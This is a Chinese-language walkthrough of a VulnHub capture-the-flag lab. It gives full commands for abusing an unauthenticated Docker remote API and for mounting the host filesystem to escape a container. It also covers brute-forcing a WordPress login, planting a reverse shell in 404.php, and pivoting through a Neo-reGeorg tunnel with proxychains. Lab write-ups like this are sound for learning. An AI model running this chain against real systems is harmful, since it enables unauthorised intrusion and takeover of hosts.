准备
靶机: vulnerable_docker_containement NAT
攻击机: kali
下载链接: https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova
有flag_1 and flag_3 ,flag_2 作者忘了放了。有困难和简单两个模式,先选择简单模式。开机的时候选择噢。
经测试 wsl kali 不能正常内网穿透,换成 vmware 中完整kali 就ok了。
主机发现
开机后自动显示IP: 192.168.52.128 , 这是好事
端口扫描
nmap -sS -sV -p- -T4 192.168.52.128
开放了三个端口 22, 2375, 8000
方法一:利用2375端口
2375端口是docker开放的远程管理接口,一般用于测试环境中,没有任何加密和认证过程,只要知道IP和端口,任何人都已查看其内容;详细信息:
https://cloud.tencent.com/developer/article/1090829
https://www.secpulse.com/archives/55928.html
docker -H tcp://192.168.52.128:2375 images
发现有三个镜像,其中一个为wordpress 可能对应8000端口,暂时不访问,只利用2375。
查看正在运行的容器
docker -H tcp://192.168.52.128:2375 ps
docker -H tcp://192.168.52.128:2375 exec -it content_wordpress_1 /bin/bash
分别进入三个容器直接查看目录中是否存在flag,发现并不存在。同时 content_wordpress_1 中 www目录下存在wordpress的配置文件,里面肯定有数据库密码,因此我们可以登录Mysql修改后台密码并登录这是一种方法,另一种方法只从8000端口访问进行渗透。我这里只演示后者。
继续利用2375端口,说实话,flag_3获取的方式我没理解到,是看了别人的方法:
docker -H tcp://192.168.52.128:2375 run --rm -it -v /:/tmp/1/ wordpress /bin/bash
cd /tmp/1/
cat flag_3
暂时不深究
言归正传,从8000端口入侵
方法二:8000端口
http://192.168.52.128:8000/
我们已经知道了是wordpress,并且网页页面也没有什么有用信息,直接接入后台尝试登录;
尝试常见弱口令登录发现不行,且用户名不是admin,这时可以使用wpscan 专门针对wordpress的工具,进行用户枚举。
wpscan --url http://192.168.52.128:8000/ -e u vp
-e 枚举
-u 用户名
-vp 有漏洞的插件
如图所受:得到一个用户:bob, 现在尝试爆破密码了,主要看字典强度,爆破方法很多:bp, wpscan 都可以。方法不唯一。
wpscan --url http://192.168.52.128:8000/ -e u -P /usr/share/wordlists/rockyou.txt -t 20
等待一段时间后得到了密码: Welcome1
成功登录,发现了flag_1
可以将显示语言改成中文
进入后台后,getshell方法很简单;一般都是修改404页面
修改404.php 为一个反弹shell, 这个shell网上很多的。自行下载,只要访问不存在的页面触发404即可调用404.php或者直接访问它的物理路径也可以。
首先监听:
nc -lvnp 4444
查看IP 很可疑,并不是 192开头的IP地址
发现为 172.18.0.4 并且联想到靶机标题可以猜到这个8000端口其实是一台docker容器。将其用蚁剑链接(echo 一个一句话到网站目录下),因为这个反弹shell的终端不能正常使用 ping 命令
内网穿透
分别ping 172.18.0.1 - 4 发现都能ping通,证明这四个IP存活。
此时已经知道了内网IP了,现在就需要内网穿透了,这里我使用了: Neo-reGeorg 这个工具进行内网穿透,github可下载;
python3 neoreg.py generate -k yourpassword
-k 指定密码为 yourpassword
生成了 tunnel脚本, 选择 tunel.php 用蚁剑 上传到网站目录,然后网站访问看是否报错,若没报错则正确;
访问没报错,连接:
python3 neoreg.py -k yourpassword -u http://192.168.52.128:8000/tunnel.php
默认端口为 1080 ,若指定-p 具体端口号则为你指定的端口号
配合:proxychains4 工具使用,kali默认安装了
修改配置文件: /etc/proxychains4.conf,在末尾添加: socks5 127.0.0.1 1080
然后再使用的命令前面加上proxychains4 即可
端口探测
使用 nmap 分别扫描 四个内网IP的端口
proxychains4 nmap -Pn -sT 172.18.0.1
proxychains4 nmap -Pn -sT 172.18.0.2
proxychains4 nmap -Pn -sT 172.18.0.3
proxychains4 nmap -Pn -sT 172.18.0.4
端口开放情况:172.18.0.2 开放了 8022 端口,172.18.0.1开放了22, 8000端口,172.18.0.3 开放了3306端口,172.18.0.4 开放了 80 端口;今天惊奇的发现 172.18.0.2开放了8022端口,昨天我再测试的时候 确实 172.18.0.4 端口开放了8022端口,这一点很奇怪啊,以自己实际扫描的结果为准。
proxychains4 firefox 分别访问它们
其中 172.18.0.1:800 和 172.18.0.4 都是 wordpress页面
172.18.0.2:8022 为一个在线的ssh中断
这里为 root 权限。这个终端不好用很卡
cat /proc/version
查看版本为 ubuntu 14.04
这里参考了别人的方法:在这里安装了一个docker 。先换源
vim /etc/apt/sources.list
deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
apt-get update
apt-get install docker.io
安装后查看 运行的容器
https://cloud.tencent.com/developer/article/1090829
https://www.secpulse.com/archives/55928.html
docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash
cd /tmp/1/
cat flag_3
总结
- 主要用到了 Docker Remote api 的未授权访问漏洞。跟多详细信息自行查看。
- wordpress进到后套拿shell很简单。
- 内网穿透工具:Neo-reGeorg 的利用。